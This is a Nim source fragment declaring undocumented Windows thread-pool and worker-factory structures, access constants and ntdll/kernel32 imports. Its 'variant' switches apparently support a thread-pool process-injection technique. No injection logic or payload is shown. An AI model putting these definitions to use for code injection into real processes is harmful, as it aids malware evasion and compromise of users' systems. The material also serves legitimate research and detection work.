BindingCount: ULONG
|
|
ThreadMinimum: ULONG
|
|
ThreadMaximum: ULONG
|
|
PendingWorkerCount: ULONG
|
|
WaitingWorkerCount: ULONG
|
|
TotalWorkerCount: ULONG
|
|
ReleaseCount: ULONG
|
|
InfiniteWaitGoal: LONGLONG
|
|
StartRoutine: PVOID
|
|
StartParameter: PVOID
|
|
ProcessId: HANDLE
|
|
StackReserve: SIZE_T
|
|
StackCommit: SIZE_T
|
|
LastThreadCreationStatus: NTSTATUS
|
|
|
|
type PWORKER_FACTORY_BASIC_INFORMATION* = ptr WORKER_FACTORY_BASIC_INFORMATION
|
|
|
|
type PUBLIC_OBJECT_TYPE_INFORMATION* = object
|
|
TypeName: UNICODE_STRING
|
|
Reserved: array[22, ULONG]
|
|
|
|
type PPUBLIC_OBJECT_TYPE_INFORMATION* = ptr PUBLIC_OBJECT_TYPE_INFORMATION
|
|
|
|
|
|
type TP_TASK_CALLBACKS* = object
|
|
ExecuteCallback: PVOID
|
|
Unposted: PVOID
|
|
|
|
type PTP_TASK_CALLBACKS* = ptr TP_TASK_CALLBACKS
|
|
|
|
type TP_TASK* = object
|
|
Callbacks: PTP_TASK_CALLBACKS
|
|
NumaNode: UINT32
|
|
IdealProcessor: UINT8
|
|
Padding_242: array[3, char]
|
|
ListEntry: LIST_ENTRY
|
|
|
|
type PTP_TASK* = ptr TP_TASK # PTP_TASK_CALLBACKS
|
|
|
|
type TPP_REFCOUNT* = object
|
|
Refcount: INT32
|
|
|
|
type PTPP_REFCOUNT* = ptr TPP_REFCOUNT
|
|
|
|
type TPP_CALLER* = object
|
|
ReturnAddress: PVOID
|
|
|
|
type PTPP_CALLER* = ptr TPP_CALLER
|
|
|
|
type TPP_PH_LINKS* = object
|
|
Siblings: LIST_ENTRY
|
|
Children: LIST_ENTRY
|
|
Key: INT64
|
|
|
|
type PTPP_PH_LINKS* = ptr TPP_PH_LINKS
|
|
|
|
type TPP_PH* = object
|
|
Root: PTPP_PH_LINKS
|
|
|
|
type PTPP_PH* = ptr TPP_PH
|
|
|
|
type TP_DIRECT* = object
|
|
Task: TP_TASK
|
|
Lock: UINT64
|
|
IoCompletionInformationList: LIST_ENTRY
|
|
Callback: PVOID
|
|
NumaNode: UINT32
|
|
IdealProcessor: UINT8
|
|
Padding_242: array[3, char]
|
|
|
|
type PTP_DIRECT* = ptr TP_DIRECT
|
|
|
|
type TPP_TIMER_SUBQUEUE* = object
|
|
Expiration: INT64
|
|
WindowStart: TPP_PH
|
|
WindowEnd: TPP_PH
|
|
Timer: PVOID
|
|
TimerPkt: PVOID
|
|
Direct: TP_DIRECT
|
|
ExpirationWindow: UINT32
|
|
Padding_242: array[1, INT32]
|
|
|
|
type PTPP_TIMER_SUBQUEUE* = ptr TPP_TIMER_SUBQUEUE
|
|
|
|
type TPP_TIMER_QUEUE* = object
|
|
Lock: RTL_SRWLOCK
|
|
AbsoluteQueue: TPP_TIMER_SUBQUEUE
|
|
RelativeQueue: TPP_TIMER_SUBQUEUE
|
|
AllocatedTimerCount: INT32
|
|
Padding_242: array[1, INT32]
|
|
|
|
type PTPP_TIMER_QUEUE* = ptr TPP_TIMER_QUEUE
|
|
|
|
type TPP_NUMA_NODE* = object
|
|
WorkerCount: INT32
|
|
|
|
type PTPP_NUMA_NODE* = ptr TPP_NUMA_NODE
|
|
|
|
type TPP_POOL_QUEUE_STATE* = object
|
|
Exchange: INT64
|
|
RunningThreadGoal: INT32
|
|
PendingReleaseCount: UINT32
|
|
QueueLength: UINT32
|
|
|
|
type PTPP_POOL_QUEUE_STATE* = ptr TPP_POOL_QUEUE_STATE
|
|
|
|
type TPP_QUEUE* = object
|
|
Queue: LIST_ENTRY
|
|
Lock: RTL_SRWLOCK
|
|
|
|
type PTPP_QUEUE* = ptr TPP_QUEUE
|
|
|
|
type FULL_TP_POOL* = object
|
|
Refcount: TPP_REFCOUNT
|
|
Padding_239: clong
|
|
QueueState: TPP_POOL_QUEUE_STATE
|
|
TaskQueue: array[3, PTPP_QUEUE]
|
|
NumaNode: PTPP_NUMA_NODE
|
|
ProximityInfo: PGROUP_AFFINITY
|
|
WorkerFactory: PVOID
|
|
CompletionPort: PVOID
|
|
Lock: RTL_SRWLOCK
|
|
PoolObjectList: LIST_ENTRY
|
|
WorkerList: LIST_ENTRY
|
|
TimerQueue: TPP_TIMER_QUEUE
|
|
ShutdownLock: RTL_SRWLOCK
|
|
ShutdownInitiated: UINT8
|
|
Released: UINT8
|
|
PoolFlags: UINT16
|
|
Padding_240: clong
|
|
PoolLinks: LIST_ENTRY
|
|
AllocCaller: TPP_CALLER
|
|
ReleaseCaller: TPP_CALLER
|
|
AvailableWorkerCount: INT32
|
|
LongRunningWorkerCount: INT32
|
|
LastProcCount: UINT32
|
|
NodeStatus: INT32
|
|
BindingCount: INT32
|
|
CallbackChecksDisabled: UINT32
|
|
TrimTarget: UINT32
|
|
TrimmedThrdCount: UINT32
|
|
SelectedCpuSetCount: UINT32
|
|
Padding_241: clong
|
|
TrimComplete: RTL_CONDITION_VARIABLE
|
|
TrimmedWorkerList: LIST_ENTRY
|
|
|
|
type PFULL_TP_POOL* = ptr FULL_TP_POOL
|
|
|
|
|
|
type TPP_ITE_WAITER* = object
|
|
Next: ptr TPP_ITE_WAITER
|
|
ThreadId: PVOID
|
|
|
|
type PTPP_ITE_WAITER* = ptr TPP_ITE_WAITER
|
|
|
|
type TPP_ITE* = object
|
|
First: PTPP_ITE_WAITER
|
|
|
|
type PTPP_ITE* = ptr TPP_ITE
|
|
|
|
type TPP_FLAGS_COUNT* = object
|
|
Count: UINT64
|
|
Flags: UINT64
|
|
Data: INT64
|
|
|
|
type TPP_BARRIER* = object
|
|
Ptr: TPP_FLAGS_COUNT
|
|
WaitLock: RTL_SRWLOCK
|
|
WaitList: TPP_ITE
|
|
|
|
|
|
type
|
|
ALPC_WORK_ON_BEHALF_TICKET* = object
|
|
ThreadId: UINT32
|
|
ThreadCreationTimeLow: UINT32
|
|
|
|
|
|
|
|
type
|
|
TPP_CLEANUP_GROUP_MEMBER_CALLBACK_PROC* = distinct proc (Member: PTPP_CLEANUP_GROUP_MEMBER)
|
|
PTPP_CLEANUP_GROUP_MEMBER_CALLBACK* = ptr TPP_CLEANUP_GROUP_MEMBER_CALLBACK_PROC
|
|
TPP_CLEANUP_GROUP_MEMBER_VFUNCS* = object
|
|
CallbackEpilog: ptr PTPP_CLEANUP_GROUP_MEMBER_CALLBACK
|
|
StopCallbackGeneration: PTPP_CLEANUP_GROUP_MEMBER_CALLBACK
|
|
CancelPendingCallbacks: PTPP_CLEANUP_GROUP_MEMBER_CALLBACK
|
|
TPP_CLEANUP_GROUP_MEMBER* = object
|
|
Refcount: TPP_REFCOUNT
|
|
Padding_233: cint
|
|
VFuncs: ptr TPP_CLEANUP_GROUP_MEMBER_VFUNCS
|
|
CleanupGroup: PTP_CLEANUP_GROUP
|
|
CleanupGroupCancelCallback: PVOID
|
|
FinalizationCallback: PVOID
|
|
CleanupGroupMemberLinks: LIST_ENTRY
|
|
CallbackBarrier: TPP_BARRIER
|
|
Callback: PVOID
|
|
WorkCallback: PVOID
|
|
SimpleCallback: PVOID
|
|
TimerCallback: PVOID
|
|
WaitCallback: PVOID
|
|
IoCallback: PVOID
|
|
AlpcCallback: PVOID
|
|
AlpcCallbackEx: PVOID
|
|
JobCallback: PVOID
|
|
Context: PVOID
|
|
ActivationContext: ptr ACTIVATION_CONTEXT
|
|
SubProcessTag: PVOID
|
|
ActivityId: GUID
|
|
WorkOnBehalfTicket: ALPC_WORK_ON_BEHALF_TICKET
|
|
RaceDll: PVOID
|
|
Pool: PFULL_TP_POOL
|
|
PoolObjectLinks: LIST_ENTRY
|
|
Flags: INT32
|
|
LongFunction: UINT32
|
|
Persistent: UINT32
|
|
UnusedPublic: UINT32
|
|
Released: UINT32
|
|
CleanupGroupReleased: UINT32
|
|
InCleanupGroupCleanupList: UINT32
|
|
UnusedPrivate: UINT32
|
|
Padding_234: cint
|
|
AllocCaller: TPP_CALLER
|
|
ReleaseCaller: TPP_CALLER
|
|
CallbackPriority: TP_CALLBACK_PRIORITY
|
|
Padding_242: array[1, INT32]
|
|
PTPP_CLEANUP_GROUP_MEMBER* = ptr TPP_CLEANUP_GROUP_MEMBER
|
|
|
|
#type
|
|
# TPP_CLEANUP_GROUP_MEMBER_CALLBACK* = TPP_CLEANUP_GROUP_MEMBER_CALLBACK_PROC
|
|
|
|
|
|
|
|
type TPP_WORK_STATE* = object
|
|
Exchange: INT32
|
|
Insertable: UINT32
|
|
PendingCallbackCount: UINT32
|
|
|
|
type FULL_TP_WORK* = object
|
|
CleanupGroupMember: TPP_CLEANUP_GROUP_MEMBER
|
|
Task: TP_TASK
|
|
WorkState: TPP_WORK_STATE
|
|
Padding_242: array[1, INT32]
|
|
|
|
type PFULL_TP_WORK* = ptr FULL_TP_WORK
|
|
|
|
const WORKER_FACTORY_RELEASE_WORKER* = 0x0001
|
|
const WORKER_FACTORY_WAIT* = 0x0002
|
|
const WORKER_FACTORY_SET_INFORMATION* = 0x0004
|
|
const WORKER_FACTORY_QUERY_INFORMATION* = 0x0008
|
|
const WORKER_FACTORY_READY_WORKER* = 0x0010
|
|
const WORKER_FACTORY_SHUTDOWN* = 0x0020
|
|
const WORKER_FACTORY_ALL_ACCESS* = STANDARD_RIGHTS_REQUIRED or WORKER_FACTORY_RELEASE_WORKER or WORKER_FACTORY_WAIT or WORKER_FACTORY_SET_INFORMATION or WORKER_FACTORY_QUERY_INFORMATION or WORKER_FACTORY_READY_WORKER or WORKER_FACTORY_SHUTDOWN
|
|
|
|
type SET_WORKERFACTORYINFOCLASS* = enum
|
|
WorkerFactoryTimeout = 0
|
|
WorkerFactoryRetryTimeout = 1
|
|
WorkerFactoryIdleTimeout = 2
|
|
WorkerFactoryBindingCount = 3
|
|
WorkerFactoryThreadMinimum = 4
|
|
WorkerFactoryThreadMaximum = 5
|
|
WorkerFactoryPaused = 6
|
|
WorkerFactoryAdjustThreadGoal = 8
|
|
WorkerFactoryCallbackType = 9
|
|
WorkerFactoryStackInformation = 10
|
|
WorkerFactoryThreadBasePriority = 11
|
|
WorkerFactoryTimeoutWaiters = 12
|
|
WorkerFactoryFlags = 13
|
|
WorkerFactoryThreadSoftMaximum = 14
|
|
WorkerFactoryMaxInfoClass = 15 # Not implemented
|
|
|
|
type PSET_WORKERFACTORYINFOCLASS* = ptr SET_WORKERFACTORYINFOCLASS
|
|
|
|
type QUERY_WORKERFACTORYINFOCLASS* = enum
|
|
WorkerFactoryBasicInformation2 = 7
|
|
|
|
type PQUERY_WORKERFACTORYINFOCLASS* = ptr QUERY_WORKERFACTORYINFOCLASS
|
|
|
|
|
|
proc NtQueryInformationWorkerFactory*(hWorkerFactory: HANDLE, WorkerFactoryInformationClass: QUERY_WORKERFACTORYINFOCLASS, WorkerFactoryInformation: PVOID, WorkerFactoryInformationLength: ULONG, ReturnLength: PULONG): NTSTATUS {.importc: "NtQueryInformationWorkerFactory", dynlib: "ntdll.dll".}
|
|
#proc NtSetInformationWorkerFactory*(WorkerFactoryHandle: HANDLE, WorkerFactoryInformationClass: SET_WORKERFACTORYINFOCLASS, WorkerFactoryInformation: PVOID, WorkerFactoryInformationLength: ULONG): NTSTATUS {.importc: "NtSetInformationWorkerFactory", dynlib: "ntdll.dll".}
|
|
when defined(variant2):
|
|
proc CreateThreadpoolWork*(pWorkCallback: PTP_WORK_CALLBACK, pWorkContext: PVOID, pCallbackEnviron: PTP_CALLBACK_ENVIRON): PFULL_TP_WORK {.importc: "CreateThreadpoolWork", dynlib: "kernel32.dll".}
|
|
#when defined(variant3):
|
|
# proc ZwAssociateWaitCompletionPacket*(WaitCopmletionPacketHandle: HANDLE, IoCompletionHandle: HANDLE, TargetObjectHandle: HANDLE, KeyContext: PVOID, ApcContext: PVOID, IoStatus: NTSTATUS, IoStatusInformation: ULONG_PTR, AlreadySignaled: PBOOLEAN): NTSTATUS {.importc: "ZwAssociateWaitCompletionPacket", dynlib: "ntdll.dll".}
|
|
#when defined(variant4):
|
|
# proc ZwSetIoCompletion*(IoCompletionHandle: HANDLE, KeyContext: PVOID, ApcContext: PVOID, IoStatus: NTSTATUS, IoStatusInformation: ULONG_PTR): NTSTATUS {.importc: "ZwSetIoCompletion", dynlib: "ntdll.dll".}
|
|
|
|
# import wcscmp from MSVCRT
|
|
proc wcscmp*(s1: PWSTR, s2: PWSTR): cint {.importc: "wcscmp", dynlib: "msvcrt.dll".}
|
|
# import realloc from MSVCRT
|
|
proc realloc*(inputPointer: PVOID, size: SIZE_T): PVOID {.importc: "realloc", dynlib: "msvcrt.dll".}
|
|
|
|
"""
|